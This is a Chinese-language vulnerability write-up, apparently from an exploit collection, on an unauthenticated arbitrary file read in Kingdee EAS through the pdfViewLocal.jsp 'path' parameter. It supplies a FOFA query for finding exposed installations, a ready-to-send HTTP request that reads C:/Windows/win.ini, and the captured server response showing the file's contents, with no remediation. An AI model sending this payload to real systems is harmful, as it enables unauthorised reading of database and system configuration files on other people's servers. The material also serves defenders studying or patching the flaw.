J16-1金蝶-EAS-任意文件读取

漏洞描述:

金螺EAS pdfviewlocal接口处存在任意<u>文件读取</u>漏洞,未经身份验证的攻击者可通过该漏洞读取系统重要文件(如数据库配置文件、系统配置文件)、数据库配置文件等等,导致网站处于极度不 安全状态。

影响版本:

• 金蝶-EAS

网站图片:



网络测绘:

fofa语法:

app="Kingdee-EAS"

漏洞复现:

payload:

GET /plt_document/fragments/content/pdfViewLocal.jsp?path=C:/Windows/win.ini HTTP/1.1

Host: Your-ip Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15

效果图:

读取C:/Windows/win.ini

```
Request
                                                           〈 〉 数据包扫描 热加载 构造请求 ? ?
                                                                                                             Responses 92bytes / 350ms
1 GET /plt_document/fragments/content/pdfViewLocal.jsp?path=C:/Windows/win.ini HTTP/1.1
                                                                                                            1 HTTP/1.1-200-OK
                                                                                                                    content-disposition: inline; filename="C%3A%2FWindows%2Ndate: Mon, 08 Jan 2024 11:10:02 GMT
                         3090
       Accept-Encoding: gzip
       User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15
                                                                                                                    server: Apusic Application Server/9.0 (Windows Server 20
       (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
                                                                                                                    \textcolor{red}{\textbf{content-type:}} \cdot \textcolor{gray}{\textbf{application/pdf}}
                                                                                                                    connection: close
                                                                                                                    set-cookie: JSESSIONID=CgAAERrqZZvYCjckwzsHSUydnHDGK7Hg
                                                                                                                    nap_backend: 192.168.0.17:6890
                                                                                                                    set-cookie: EASSESSIONID=1136289669; path=/;httponly
                                                                                                                     set-cookie: NAPRoutID=1136289669; path=/;httponly
                                                                                                              11
                                                                                                                    Content-Length: 92
                                                                                                                     ; for 16-bit app support
                                                                                                              14
                                                                                                                     [fonts]
                                                                                                              15
                                                                                                                     [extensions]
                                                                                                                     [mci extensions]
                                                                                                              17
                                                                                                                     [files]
                                                                                                              18
                                                                                                                     [Mail]
                                                                                                                    MAPI=1
```